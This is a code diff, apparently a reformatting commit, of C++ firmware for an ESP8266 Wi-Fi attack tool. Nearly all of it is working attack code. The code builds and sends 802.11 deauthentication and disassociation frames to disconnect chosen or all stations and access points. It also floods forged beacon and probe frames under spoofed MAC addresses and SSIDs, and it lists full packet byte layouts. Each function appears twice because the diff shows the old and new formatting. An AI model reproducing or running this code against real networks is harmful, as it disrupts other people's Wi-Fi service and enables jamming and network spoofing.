deauth.tc += deauthStation(deauth.tc - apCount);
|
deauth.tc += deauthStation(deauth.tc - apCount);
|
||||||
} else deauth.tc++;
|
} else deauth.tc++;
|
||||||
}
|
}
|
||||||
|
|
||||||
// Names
|
// Names
|
||||||
else if (nCount > 0 && deauth.tc >= apCount + stCount && deauth.tc < nCount + stCount + apCount) {
|
else if ((nCount > 0) && (deauth.tc >= apCount + stCount) && (deauth.tc < nCount + stCount + apCount)) {
|
||||||
if (names.getSelected(deauth.tc - stCount - apCount)) {
|
if (names.getSelected(deauth.tc - stCount - apCount)) {
|
||||||
deauth.tc += deauthName(deauth.tc - stCount - apCount);
|
deauth.tc += deauthName(deauth.tc - stCount - apCount);
|
||||||
} else deauth.tc++;
|
} else deauth.tc++;
|
||||||
}
|
}
|
||||||
|
|
||||||
// reset counter
|
// reset counter
|
||||||
if (deauth.tc >= nCount + stCount + apCount)
|
if (deauth.tc >= nCount + stCount + apCount) deauth.tc = 0;
|
||||||
deauth.tc = 0;
|
}
|
||||||
}
|
}
|
||||||
}
|
|
||||||
}
|
}
|
||||||
|
|
||||||
void Attack::deauthAllUpdate() {
|
void Attack::deauthAllUpdate() {
|
||||||
if (deauthAll && deauth.active && deauth.maxPkts > 0 && deauth.packetCounter < deauth.maxPkts) {
|
if (deauthAll && deauth.active && (deauth.maxPkts > 0) && (deauth.packetCounter < deauth.maxPkts)) {
|
||||||
if (deauth.time <= currentTime - (1000 / deauth.maxPkts)) {
|
if (deauth.time <= currentTime - (1000 / deauth.maxPkts)) {
|
||||||
// APs
|
// APs
|
||||||
if (apCount > 0 && deauth.tc < apCount) {
|
if ((apCount > 0) && (deauth.tc < apCount)) {
|
||||||
tmpID = names.findID(accesspoints.getMac(deauth.tc));
|
tmpID = names.findID(accesspoints.getMac(deauth.tc));
|
||||||
if (tmpID < 0) {
|
|
||||||
deauth.tc += deauthAP(deauth.tc);
|
|
||||||
} else if (!names.getSelected(tmpID)) {
|
|
||||||
deauth.tc += deauthAP(deauth.tc);
|
|
||||||
} else deauth.tc++;
|
|
||||||
}
|
|
||||||
|
|
||||||
// Stations
|
if (tmpID < 0) {
|
||||||
else if (stCount > 0 && deauth.tc >= apCount && deauth.tc < stCount + apCount) {
|
deauth.tc += deauthAP(deauth.tc);
|
||||||
tmpID = names.findID(stations.getMac(deauth.tc - apCount));
|
} else if (!names.getSelected(tmpID)) {
|
||||||
if (tmpID < 0) {
|
deauth.tc += deauthAP(deauth.tc);
|
||||||
deauth.tc += deauthStation(deauth.tc - apCount);
|
} else deauth.tc++;
|
||||||
} else if (!names.getSelected(tmpID)) {
|
}
|
||||||
deauth.tc += deauthStation(deauth.tc - apCount);
|
|
||||||
} else deauth.tc++;
|
|
||||||
}
|
|
||||||
|
|
||||||
// Names
|
// Stations
|
||||||
else if (nCount > 0 && deauth.tc >= apCount + stCount && deauth.tc < apCount + stCount + nCount) {
|
else if ((stCount > 0) && (deauth.tc >= apCount) && (deauth.tc < stCount + apCount)) {
|
||||||
if (!names.getSelected(deauth.tc - apCount - stCount)) {
|
tmpID = names.findID(stations.getMac(deauth.tc - apCount));
|
||||||
deauth.tc += deauthName(deauth.tc - apCount - stCount);
|
|
||||||
} else deauth.tc++;
|
|
||||||
}
|
|
||||||
|
|
||||||
// reset counter
|
if (tmpID < 0) {
|
||||||
if (deauth.tc >= nCount + stCount + apCount)
|
deauth.tc += deauthStation(deauth.tc - apCount);
|
||||||
deauth.tc = 0;
|
} else if (!names.getSelected(tmpID)) {
|
||||||
|
deauth.tc += deauthStation(deauth.tc - apCount);
|
||||||
|
} else deauth.tc++;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Names
|
||||||
|
else if ((nCount > 0) && (deauth.tc >= apCount + stCount) && (deauth.tc < apCount + stCount + nCount)) {
|
||||||
|
if (!names.getSelected(deauth.tc - apCount - stCount)) {
|
||||||
|
deauth.tc += deauthName(deauth.tc - apCount - stCount);
|
||||||
|
} else deauth.tc++;
|
||||||
|
}
|
||||||
|
|
||||||
|
// reset counter
|
||||||
|
if (deauth.tc >= nCount + stCount + apCount) deauth.tc = 0;
|
||||||
|
}
|
||||||
}
|
}
|
||||||
}
|
|
||||||
}
|
}
|
||||||
|
|
||||||
void Attack::probeUpdate() {
|
void Attack::probeUpdate() {
|
||||||
if (probe.active && probe.maxPkts > 0 && probe.packetCounter < probe.maxPkts) {
|
if (probe.active && (probe.maxPkts > 0) && (probe.packetCounter < probe.maxPkts)) {
|
||||||
if (probe.time <= currentTime - (1000 / probe.maxPkts)) {
|
if (probe.time <= currentTime - (1000 / probe.maxPkts)) {
|
||||||
if (settings.getBeaconChannel()) setWifiChannel(probe.tc % settings.getMaxCh());
|
if (settings.getBeaconChannel()) setWifiChannel(probe.tc % settings.getMaxCh());
|
||||||
probe.tc += sendProbe(probe.tc);
|
probe.tc += sendProbe(probe.tc);
|
||||||
if (probe.tc >= ssids.count()) probe.tc = 0;
|
|
||||||
|
if (probe.tc >= ssids.count()) probe.tc = 0;
|
||||||
|
}
|
||||||
}
|
}
|
||||||
}
|
|
||||||
}
|
}
|
||||||
|
|
||||||
void Attack:: beaconUpdate() {
|
void Attack::beaconUpdate() {
|
||||||
if (beacon.active && beacon.maxPkts > 0 && beacon.packetCounter < beacon.maxPkts) {
|
if (beacon.active && (beacon.maxPkts > 0) && (beacon.packetCounter < beacon.maxPkts)) {
|
||||||
if (beacon.time <= currentTime - (1000 / beacon.maxPkts)) {
|
if (beacon.time <= currentTime - (1000 / beacon.maxPkts)) {
|
||||||
beacon.tc += sendBeacon(beacon.tc);
|
beacon.tc += sendBeacon(beacon.tc);
|
||||||
if (beacon.tc >= ssids.count()) beacon.tc = 0;
|
|
||||||
|
if (beacon.tc >= ssids.count()) beacon.tc = 0;
|
||||||
|
}
|
||||||
}
|
}
|
||||||
}
|
|
||||||
}
|
}
|
||||||
|
|
||||||
bool Attack::deauthStation(int num) {
|
bool Attack::deauthStation(int num) {
|
||||||
return deauthDevice(stations.getAPMac(num), stations.getMac(num), settings.getDeauthReason(), stations.getCh(num));
|
return deauthDevice(stations.getAPMac(num), stations.getMac(num), settings.getDeauthReason(), stations.getCh(num));
|
||||||
}
|
}
|
||||||
|
|
||||||
bool Attack::deauthAP(int num) {
|
bool Attack::deauthAP(int num) {
|
||||||
return deauthDevice(accesspoints.getMac(num), broadcast, settings.getDeauthReason(), accesspoints.getCh(num));
|
return deauthDevice(accesspoints.getMac(num), broadcast, settings.getDeauthReason(), accesspoints.getCh(num));
|
||||||
}
|
}
|
||||||
|
|
||||||
bool Attack::deauthName(int num) {
|
bool Attack::deauthName(int num) {
|
||||||
if (names.isStation(num)) {
|
if (names.isStation(num)) {
|
||||||
return deauthDevice(names.getBssid(num), names.getMac(num), settings.getDeauthReason(), names.getCh(num));
|
return deauthDevice(names.getBssid(num), names.getMac(num), settings.getDeauthReason(), names.getCh(num));
|
||||||
} else {
|
} else {
|
||||||
return deauthDevice(names.getMac(num), broadcast, settings.getDeauthReason(), names.getCh(num));
|
return deauthDevice(names.getMac(num), broadcast, settings.getDeauthReason(), names.getCh(num));
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
bool Attack::deauthDevice(uint8_t* apMac, uint8_t* stMac, uint8_t reason, uint8_t ch) {
|
bool Attack::deauthDevice(uint8_t* apMac, uint8_t* stMac, uint8_t reason, uint8_t ch) {
|
||||||
if (!stMac) return false; // exit when station mac is null
|
if (!stMac) return false; // exit when station mac is null
|
||||||
|
|
||||||
//Serial.println("Deauthing "+macToStr(apMac)+" -> "+macToStr(stMac)); // for debugging
|
// Serial.println("Deauthing "+macToStr(apMac)+" -> "+macToStr(stMac)); // for debugging
|
||||||
|
|
||||||
bool success = false;
|
|
||||||
|
|
||||||
// build deauth packet
|
bool success = false;
|
||||||
packetSize = sizeof(deauthPacket);
|
|
||||||
memcpy(&deauthPacket[4], stMac, 6);
|
|
||||||
memcpy(&deauthPacket[10], apMac, 6);
|
|
||||||
memcpy(&deauthPacket[16], apMac, 6);
|
|
||||||
deauthPacket[24] = reason;
|
|
||||||
|
|
||||||
// send deauth frame
|
|
||||||
deauthPacket[0] = 0xc0;
|
|
||||||
if (sendPacket(deauthPacket, packetSize, ch, settings.getForcePackets())){
|
|
||||||
success = true;
|
|
||||||
deauth.packetCounter++;
|
|
||||||
}
|
|
||||||
|
|
||||||
// send disassociate frame
|
|
||||||
deauthPacket[0] = 0xa0;
|
|
||||||
if (sendPacket(deauthPacket, packetSize, ch, settings.getForcePackets())){
|
|
||||||
success = true;
|
|
||||||
deauth.packetCounter++;
|
|
||||||
}
|
|
||||||
|
|
||||||
// send another packet, this time from the station to the accesspoint
|
|
||||||
if (!macBroadcast(stMac)) { // but only if the packet isn't a broadcast
|
|
||||||
// build deauth packet
|
// build deauth packet
|
||||||
memcpy(&deauthPacket[4], apMac, 6);
|
packetSize = sizeof(deauthPacket);
|
||||||
memcpy(&deauthPacket[10], stMac, 6);
|
memcpy(&deauthPacket[4], stMac, 6);
|
||||||
memcpy(&deauthPacket[16], stMac, 6);
|
memcpy(&deauthPacket[10], apMac, 6);
|
||||||
|
memcpy(&deauthPacket[16], apMac, 6);
|
||||||
|
deauthPacket[24] = reason;
|
||||||
|
|
||||||
// send deauth frame
|
// send deauth frame
|
||||||
deauthPacket[0] = 0xc0;
|
deauthPacket[0] = 0xc0;
|
||||||
if (sendPacket(deauthPacket, packetSize, ch, settings.getForcePackets())){
|
|
||||||
success = true;
|
if (sendPacket(deauthPacket, packetSize, ch, settings.getForcePackets())) {
|
||||||
deauth.packetCounter++;
|
success = true;
|
||||||
|
deauth.packetCounter++;
|
||||||
}
|
}
|
||||||
|
|
||||||
// send disassociate frame
|
// send disassociate frame
|
||||||
deauthPacket[0] = 0xa0;
|
deauthPacket[0] = 0xa0;
|
||||||
if (sendPacket(deauthPacket, packetSize, ch, settings.getForcePackets())){
|
|
||||||
success = true;
|
if (sendPacket(deauthPacket, packetSize, ch, settings.getForcePackets())) {
|
||||||
deauth.packetCounter++;
|
success = true;
|
||||||
|
deauth.packetCounter++;
|
||||||
}
|
}
|
||||||
}
|
|
||||||
|
|
||||||
if (success)
|
// send another packet, this time from the station to the accesspoint
|
||||||
deauth.time = currentTime;
|
if (!macBroadcast(stMac)) { // but only if the packet isn't a broadcast
|
||||||
|
// build deauth packet
|
||||||
|
memcpy(&deauthPacket[4], apMac, 6);
|
||||||
|
memcpy(&deauthPacket[10], stMac, 6);
|
||||||
|
memcpy(&deauthPacket[16], stMac, 6);
|
||||||
|
|
||||||
return success;
|
// send deauth frame
|
||||||
|
deauthPacket[0] = 0xc0;
|
||||||
|
|
||||||
|
if (sendPacket(deauthPacket, packetSize, ch, settings.getForcePackets())) {
|
||||||
|
success = true;
|
||||||
|
deauth.packetCounter++;
|
||||||
|
}
|
||||||
|
|
||||||
|
// send disassociate frame
|
||||||
|
deauthPacket[0] = 0xa0;
|
||||||
|
|
||||||
|
if (sendPacket(deauthPacket, packetSize, ch, settings.getForcePackets())) {
|
||||||
|
success = true;
|
||||||
|
deauth.packetCounter++;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if (success) deauth.time = currentTime;
|
||||||
|
|
||||||
|
return success;
|
||||||
}
|
}
|
||||||
|
|
||||||
bool Attack::sendBeacon(uint8_t tc) {
|
bool Attack::sendBeacon(uint8_t tc) {
|
||||||
if (settings.getBeaconChannel()) setWifiChannel(tc % settings.getMaxCh());
|
if (settings.getBeaconChannel()) setWifiChannel(tc % settings.getMaxCh());
|
||||||
mac[5] = tc;
|
mac[5] = tc;
|
||||||
return sendBeacon(mac, ssids.getName(tc).c_str(), wifi_channel, ssids.getWPA2(tc));
|
return sendBeacon(mac, ssids.getName(tc).c_str(), wifi_channel, ssids.getWPA2(tc));
|
||||||
}
|
}
|
||||||
|
|
||||||
bool Attack::sendBeacon(uint8_t* mac, const char* ssid, uint8_t ch, bool wpa2) {
|
bool Attack::sendBeacon(uint8_t* mac, const char* ssid, uint8_t ch, bool wpa2) {
|
||||||
packetSize = sizeof(beaconPacket);
|
packetSize = sizeof(beaconPacket);
|
||||||
|
|
||||||
if (wpa2) {
|
if (wpa2) {
|
||||||
beaconPacket[34] = 0x31;
|
beaconPacket[34] = 0x31;
|
||||||
} else {
|
} else {
|
||||||
beaconPacket[34] = 0x21;
|
beaconPacket[34] = 0x21;
|
||||||
packetSize -= 26;
|
packetSize -= 26;
|
||||||
}
|
}
|
||||||
|
|
||||||
int ssidLen = strlen(ssid);
|
int ssidLen = strlen(ssid);
|
||||||
if(ssidLen > 32) ssidLen = 32;
|
|
||||||
|
|
||||||
memcpy(&beaconPacket[10], mac, 6);
|
|
||||||
memcpy(&beaconPacket[16], mac, 6);
|
|
||||||
memcpy(&beaconPacket[38], ssid, ssidLen);
|
|
||||||
|
|
||||||
beaconPacket[82] = ch;
|
|
||||||
|
|
||||||
if (sendPacket(beaconPacket, packetSize, ch, settings.getForcePackets())) {
|
if (ssidLen > 32) ssidLen = 32;
|
||||||
beacon.time = currentTime;
|
|
||||||
beacon.packetCounter++;
|
memcpy(&beaconPacket[10], mac, 6);
|
||||||
return true;
|
memcpy(&beaconPacket[16], mac, 6);
|
||||||
}
|
memcpy(&beaconPacket[38], ssid, ssidLen);
|
||||||
|
|
||||||
return false;
|
beaconPacket[82] = ch;
|
||||||
|
|
||||||
|
if (sendPacket(beaconPacket, packetSize, ch, settings.getForcePackets())) {
|
||||||
|
beacon.time = currentTime;
|
||||||
|
beacon.packetCounter++;
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
return false;
|
||||||
}
|
}
|
||||||
|
|
||||||
bool Attack::sendProbe(uint8_t tc) {
|
bool Attack::sendProbe(uint8_t tc) {
|
||||||
if (settings.getBeaconChannel()) setWifiChannel(tc % settings.getMaxCh());
|
if (settings.getBeaconChannel()) setWifiChannel(tc % settings.getMaxCh());
|
||||||
mac[5] = tc;
|
mac[5] = tc;
|
||||||
return sendProbe(mac, ssids.getName(tc).c_str(), wifi_channel);
|
return sendProbe(mac, ssids.getName(tc).c_str(), wifi_channel);
|
||||||
}
|
}
|
||||||
|
|
||||||
bool Attack::sendProbe(uint8_t* mac, const char* ssid, uint8_t ch) {
|
bool Attack::sendProbe(uint8_t* mac, const char* ssid, uint8_t ch) {
|
||||||
packetSize = sizeof(probePacket);
|
packetSize = sizeof(probePacket);
|
||||||
int ssidLen = strlen(ssid);
|
int ssidLen = strlen(ssid);
|
||||||
if(ssidLen > 32) ssidLen = 32;
|
|
||||||
|
|
||||||
memcpy(&probePacket[10], mac, 6);
|
|
||||||
memcpy(&probePacket[26], ssid, ssidLen);
|
|
||||||
|
|
||||||
if (sendPacket(probePacket, packetSize, ch, settings.getForcePackets())) {
|
if (ssidLen > 32) ssidLen = 32;
|
||||||
probe.time = currentTime;
|
|
||||||
probe.packetCounter++;
|
memcpy(&probePacket[10], mac, 6);
|
||||||
return true;
|
memcpy(&probePacket[26], ssid, ssidLen);
|
||||||
}
|
|
||||||
|
if (sendPacket(probePacket, packetSize, ch, settings.getForcePackets())) {
|
||||||
return false;
|
probe.time = currentTime;
|
||||||
|
probe.packetCounter++;
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
return false;
|
||||||
}
|
}
|
||||||
|
|
||||||
bool Attack::sendPacket(uint8_t* packet, uint16_t packetSize, uint8_t ch, uint16_t tries) {
|
bool Attack::sendPacket(uint8_t* packet, uint16_t packetSize, uint8_t ch, uint16_t tries) {
|
||||||
//Serial.println(bytesToStr(packet, packetSize));
|
// Serial.println(bytesToStr(packet, packetSize));
|
||||||
|
|
||||||
// set channel
|
// set channel
|
||||||
setWifiChannel(ch);
|
setWifiChannel(ch);
|
||||||
|
|
||||||
// sent out packet
|
|
||||||
bool sent = wifi_send_pkt_freedom(packet, packetSize, 0) == 0;
|
|
||||||
|
|
||||||
// try again until it's sent out
|
|
||||||
for (int i = 0; i < tries && !sent; i++)
|
|
||||||
sent = wifi_send_pkt_freedom(packet, packetSize, 0) == 0;
|
|
||||||
|
|
||||||
if(sent)
|
// sent out packet
|
||||||
tmpPacketRate ++;
|
bool sent = wifi_send_pkt_freedom(packet, packetSize, 0) == 0;
|
||||||
|
|
||||||
return sent;
|
// try again until it's sent out
|
||||||
|
for (int i = 0; i < tries && !sent; i++) sent = wifi_send_pkt_freedom(packet, packetSize, 0) == 0;
|
||||||
|
|
||||||
|
if (sent) tmpPacketRate++;
|
||||||
|
|
||||||
|
return sent;
|
||||||
}
|
}
|
||||||
|
|
||||||
void Attack::enableOutput() {
|
void Attack::enableOutput() {
|
||||||
output = true;
|
output = true;
|
||||||
prntln(A_ENABLED_OUTPUT);
|
prntln(A_ENABLED_OUTPUT);
|
||||||
}
|
}
|
||||||
|
|
||||||
void Attack::disableOutput() {
|
void Attack::disableOutput() {
|
||||||
output = false;
|
output = false;
|
||||||
prntln(A_DISABLED_OUTPUT);
|
prntln(A_DISABLED_OUTPUT);
|
||||||
}
|
}
|
||||||
|
|
||||||
uint32_t Attack::getDeauthPkts() {
|
uint32_t Attack::getDeauthPkts() {
|
||||||
return deauthPkts;
|
return deauthPkts;
|
||||||
}
|
}
|
||||||
|
|
||||||
uint32_t Attack::getBeaconPkts() {
|
uint32_t Attack::getBeaconPkts() {
|
||||||
return beaconPkts;
|
return beaconPkts;
|
||||||
}
|
}
|
||||||
|
|
||||||
uint32_t Attack::getProbePkts() {
|
uint32_t Attack::getProbePkts() {
|
||||||
return probePkts;
|
return probePkts;
|
||||||
}
|
}
|
||||||
|
|
||||||
uint32_t Attack::getDeauthMaxPkts() {
|
uint32_t Attack::getDeauthMaxPkts() {
|
||||||
return deauth.maxPkts;
|
return deauth.maxPkts;
|
||||||
}
|
}
|
||||||
|
|
||||||
uint32_t Attack::getBeaconMaxPkts() {
|
uint32_t Attack::getBeaconMaxPkts() {
|
||||||
return beacon.maxPkts;
|
return beacon.maxPkts;
|
||||||
}
|
}
|
||||||
|
|
||||||
uint32_t Attack::getProbeMaxPkts() {
|
uint32_t Attack::getProbeMaxPkts() {
|
||||||
return probe.maxPkts;
|
return probe.maxPkts;
|
||||||
}
|
}
|
||||||
|
|
||||||
uint32_t Attack::getPacketRate(){
|
uint32_t Attack::getPacketRate() {
|
||||||
return packetRate;
|
return packetRate;
|
||||||
}
|
}
|
||||||
@@ -14,13 +14,13 @@ extern "C" {
|
|||||||
#include "Scan.h"
|
#include "Scan.h"
|
||||||
|
|
||||||
extern Settings settings;
|
extern Settings settings;
|
||||||
extern SSIDs ssids;
|
extern SSIDs ssids;
|
||||||
extern Accesspoints accesspoints;
|
extern Accesspoints accesspoints;
|
||||||
extern Stations stations;
|
extern Stations stations;
|
||||||
extern Scan scan;
|
extern Scan scan;
|
||||||
|
|
||||||
extern uint8_t wifi_channel;
|
extern uint8_t wifi_channel;
|
||||||
extern uint8_t broadcast[6];
|
extern uint8_t broadcast[6];
|
||||||
extern uint32_t currentTime;
|
extern uint32_t currentTime;
|
||||||
|
|
||||||
extern bool macBroadcast(uint8_t* mac);
|
extern bool macBroadcast(uint8_t* mac);
|
||||||
@@ -29,182 +29,181 @@ extern void setOutputPower(float dBm);
|
|||||||
extern String macToStr(uint8_t* mac);
|
extern String macToStr(uint8_t* mac);
|
||||||
extern String bytesToStr(uint8_t* b, uint32_t size);
|
extern String bytesToStr(uint8_t* b, uint32_t size);
|
||||||
extern void setWifiChannel(uint8_t ch);
|
extern void setWifiChannel(uint8_t ch);
|
||||||
extern bool writeFile(String path, String &buf);
|
extern bool writeFile(String path, String& buf);
|
||||||
extern int8_t free80211_send(uint8_t *buffer, uint16_t len);
|
extern int8_t free80211_send(uint8_t* buffer, uint16_t len);
|
||||||
|
|
||||||
class Attack {
|
class Attack {
|
||||||
public:
|
public:
|
||||||
Attack();
|
Attack();
|
||||||
|
|
||||||
void start();
|
|
||||||
void start(bool beacon, bool deauth, bool deauthAll, bool probe, bool output, uint32_t timeout);
|
|
||||||
void stop();
|
|
||||||
void update();
|
|
||||||
|
|
||||||
void enableOutput();
|
void start();
|
||||||
void disableOutput();
|
void start(bool beacon, bool deauth, bool deauthAll, bool probe, bool output, uint32_t timeout);
|
||||||
void status();
|
void stop();
|
||||||
String getStatusJSON();
|
void update();
|
||||||
|
|
||||||
bool deauthAP(int num);
|
|
||||||
bool deauthStation(int num);
|
|
||||||
bool deauthName(int num);
|
|
||||||
bool deauthDevice(uint8_t* apMac, uint8_t* stMac, uint8_t reason, uint8_t ch);
|
|
||||||
|
|
||||||
bool sendBeacon(uint8_t tc);
|
|
||||||
bool sendBeacon(uint8_t* mac, const char* ssid, uint8_t ch, bool wpa2);
|
|
||||||
|
|
||||||
bool sendProbe(uint8_t tc);
|
|
||||||
bool sendProbe(uint8_t* mac, const char* ssid, uint8_t ch);
|
|
||||||
|
|
||||||
bool sendPacket(uint8_t* packet, uint16_t packetSize, uint8_t ch, uint16_t tries);
|
void enableOutput();
|
||||||
|
void disableOutput();
|
||||||
bool isRunning();
|
void status();
|
||||||
|
String getStatusJSON();
|
||||||
|
|
||||||
uint32_t getDeauthPkts();
|
bool deauthAP(int num);
|
||||||
uint32_t getBeaconPkts();
|
bool deauthStation(int num);
|
||||||
uint32_t getProbePkts();
|
bool deauthName(int num);
|
||||||
uint32_t getDeauthMaxPkts();
|
bool deauthDevice(uint8_t* apMac, uint8_t* stMac, uint8_t reason, uint8_t ch);
|
||||||
uint32_t getBeaconMaxPkts();
|
|
||||||
uint32_t getProbeMaxPkts();
|
|
||||||
|
|
||||||
uint32_t getPacketRate();
|
|
||||||
private:
|
|
||||||
void deauthUpdate();
|
|
||||||
void deauthAllUpdate();
|
|
||||||
void beaconUpdate();
|
|
||||||
void probeUpdate();
|
|
||||||
|
|
||||||
void updateCounter();
|
bool sendBeacon(uint8_t tc);
|
||||||
|
bool sendBeacon(uint8_t* mac, const char* ssid, uint8_t ch, bool wpa2);
|
||||||
bool running = false;
|
|
||||||
bool output = true;
|
|
||||||
|
|
||||||
struct AttackType{
|
bool sendProbe(uint8_t tc);
|
||||||
bool active = false; // if attack is activated
|
bool sendProbe(uint8_t* mac, const char* ssid, uint8_t ch);
|
||||||
uint16_t packetCounter = 0; // how many packets are sent per second
|
|
||||||
uint16_t maxPkts = 0; // how many packets should be sent per second
|
|
||||||
uint8_t tc = 0; // target counter, i.e. which AP or SSID
|
|
||||||
uint32_t time = 0; // time last packet was sent
|
|
||||||
};
|
|
||||||
|
|
||||||
AttackType deauth;
|
bool sendPacket(uint8_t* packet, uint16_t packetSize, uint8_t ch, uint16_t tries);
|
||||||
AttackType beacon;
|
|
||||||
AttackType probe;
|
|
||||||
bool deauthAll = false;
|
|
||||||
|
|
||||||
uint32_t deauthPkts = 0;
|
bool isRunning();
|
||||||
uint32_t beaconPkts = 0;
|
|
||||||
uint32_t probePkts = 0;
|
|
||||||
|
|
||||||
uint32_t tmpPacketRate = 0;
|
uint32_t getDeauthPkts();
|
||||||
uint32_t packetRate = 0;
|
uint32_t getBeaconPkts();
|
||||||
|
uint32_t getProbePkts();
|
||||||
|
uint32_t getDeauthMaxPkts();
|
||||||
|
uint32_t getBeaconMaxPkts();
|
||||||
|
uint32_t getProbeMaxPkts();
|
||||||
|
|
||||||
uint8_t apCount = 0;
|
uint32_t getPacketRate();
|
||||||
uint8_t stCount = 0;
|
|
||||||
uint8_t nCount = 0;
|
|
||||||
|
|
||||||
int8_t tmpID = -1;
|
|
||||||
|
|
||||||
uint16_t packetSize = 0;
|
private:
|
||||||
uint32_t attackTime = 0; // for counting how many packets per second
|
void deauthUpdate();
|
||||||
uint32_t attackStartTime = 0;
|
void deauthAllUpdate();
|
||||||
uint32_t timeout = 0;
|
void beaconUpdate();
|
||||||
|
void probeUpdate();
|
||||||
// random mac address for making the beacon packets
|
|
||||||
uint8_t mac[6] = {0xAA,0xBB,0xCC,0x00,0x11,0x22};
|
|
||||||
|
|
||||||
uint8_t deauthPacket[26] = {
|
|
||||||
/* 0 - 1 */ 0xC0, 0x00, //type, subtype c0: deauth (a0: disassociate)
|
|
||||||
/* 2 - 3 */ 0x00, 0x00, //duration (SDK takes care of that)
|
|
||||||
/* 4 - 9 */ 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,//reciever (target)
|
|
||||||
/* 10 - 15 */ 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, //source (ap)
|
|
||||||
/* 16 - 21 */ 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, //BSSID (ap)
|
|
||||||
/* 22 - 23 */ 0x00, 0x00, //fragment & squence number
|
|
||||||
/* 24 - 25 */ 0x01, 0x00 //reason code (1 = unspecified reason)
|
|
||||||
};
|
|
||||||
|
|
||||||
uint8_t probePacket[68] = {
|
void updateCounter();
|
||||||
/* 0 - 1 */ 0x40, 0x00, // Type: Probe Request
|
|
||||||
/* 2 - 3 */ 0x00, 0x00, // Duration: 0 microseconds
|
|
||||||
/* 4 - 9 */ 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, // Destination: Broadcast
|
|
||||||
/* 10 - 15 */ 0xAA, 0xAA, 0xAA, 0xAA, 0xAA, 0xAA, // Source: random MAC
|
|
||||||
/* 16 - 21 */ 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, // BSS Id: Broadcast
|
|
||||||
/* 22 - 23 */ 0x00, 0x00, // Sequence number (will be replaced by the SDK)
|
|
||||||
/* 24 - 25 */ 0x00, 0x20, // Tag: Set SSID length, Tag length: 32
|
|
||||||
/* 26 - 57 */ 0x20, 0x20, 0x20, 0x20, // SSID
|
|
||||||
0x20, 0x20, 0x20, 0x20,
|
|
||||||
0x20, 0x20, 0x20, 0x20,
|
|
||||||
0x20, 0x20, 0x20, 0x20,
|
|
||||||
0x20, 0x20, 0x20, 0x20,
|
|
||||||
0x20, 0x20, 0x20, 0x20,
|
|
||||||
0x20, 0x20, 0x20, 0x20,
|
|
||||||
0x20, 0x20, 0x20, 0x20,
|
|
||||||
/* 58 - 59 */ 0x01, 0x04, //Tag Number: Supported Rates (1), Tag length: 4
|
|
||||||
/* 60 */ 0x82, // 1(B)
|
|
||||||
/* 61 */ 0x84, // 2(B)
|
|
||||||
/* 62 */ 0x8b, // 5.5(B)
|
|
||||||
/* 63 */ 0x96, // 11(B)
|
|
||||||
/* 64 */ 0x24, // 18
|
|
||||||
/* 65 */ 0x30, // 24
|
|
||||||
/* 66 */ 0x48, // 36
|
|
||||||
/* 67 */ 0x6c // 54
|
|
||||||
};
|
|
||||||
|
|
||||||
uint8_t beaconPacket[109] = {
|
|
||||||
/* 0 - 3 */ 0x80, 0x00, 0x00, 0x00, // Type/Subtype: managment beacon frame
|
|
||||||
/* 4 - 9 */ 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, // Destination: broadcast
|
|
||||||
/* 10 - 15 */ 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, // Source
|
|
||||||
/* 16 - 21 */ 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, // Source
|
|
||||||
|
|
||||||
// Fixed parameters
|
bool running = false;
|
||||||
/* 22 - 23 */ 0x00, 0x00, // Fragment & sequence number (will be done by the SDK)
|
bool output = true;
|
||||||
/* 24 - 31 */ 0x83, 0x51, 0xf7, 0x8f, 0x0f, 0x00, 0x00, 0x00, // Timestamp
|
|
||||||
/* 32 - 33 */ 0x64, 0x00, // Interval: 0x64, 0x00 => every 100ms - 0xe8, 0x03 => every 1s
|
|
||||||
/* 34 - 35 */ 0x31, 0x00, // capabilities Tnformation
|
|
||||||
|
|
||||||
// Tagged parameters
|
|
||||||
|
|
||||||
// SSID parameters
|
struct AttackType {
|
||||||
/* 36 - 37 */ 0x00, 0x20, // Tag: Set SSID length, Tag length: 32
|
bool active = false; // if attack is activated
|
||||||
/* 38 - 69 */ 0x20, 0x20, 0x20, 0x20,
|
uint16_t packetCounter = 0; // how many packets are sent per second
|
||||||
0x20, 0x20, 0x20, 0x20,
|
uint16_t maxPkts = 0; // how many packets should be sent per second
|
||||||
0x20, 0x20, 0x20, 0x20,
|
uint8_t tc = 0; // target counter, i.e. which AP or SSID
|
||||||
0x20, 0x20, 0x20, 0x20,
|
uint32_t time = 0; // time last packet was sent
|
||||||
0x20, 0x20, 0x20, 0x20,
|
};
|
||||||
0x20, 0x20, 0x20, 0x20,
|
|
||||||
0x20, 0x20, 0x20, 0x20,
|
|
||||||
0x20, 0x20, 0x20, 0x20, // SSID
|
|
||||||
|
|
||||||
// Supported Rates
|
AttackType deauth;
|
||||||
/* 70 - 71 */ 0x01, 0x08, // Tag: Supported Rates, Tag length: 8
|
AttackType beacon;
|
||||||
/* 72 */ 0x82, // 1(B)
|
AttackType probe;
|
||||||
/* 73 */ 0x84, // 2(B)
|
bool deauthAll = false;
|
||||||
/* 74 */ 0x8b, // 5.5(B)
|
|
||||||
/* 75 */ 0x96, // 11(B)
|
uint32_t deauthPkts = 0;
|
||||||
/* 76 */ 0x24, // 18
|
uint32_t beaconPkts = 0;
|
||||||
/* 77 */ 0x30, // 24
|
uint32_t probePkts = 0;
|
||||||
/* 78 */ 0x48, // 36
|
|
||||||
/* 79 */ 0x6c, // 54
|
uint32_t tmpPacketRate = 0;
|
||||||
|
uint32_t packetRate = 0;
|
||||||
// Current Channel
|
|
||||||
/* 80 - 81 */ 0x03, 0x01, // Channel set, length
|
uint8_t apCount = 0;
|
||||||
/* 82 */ 0x01, // Current Channel
|
uint8_t stCount = 0;
|
||||||
|
uint8_t nCount = 0;
|
||||||
// RSN information
|
|
||||||
/* 83 - 84 */ 0x30, 0x18,
|
int8_t tmpID = -1;
|
||||||
/* 85 - 86 */ 0x01, 0x00,
|
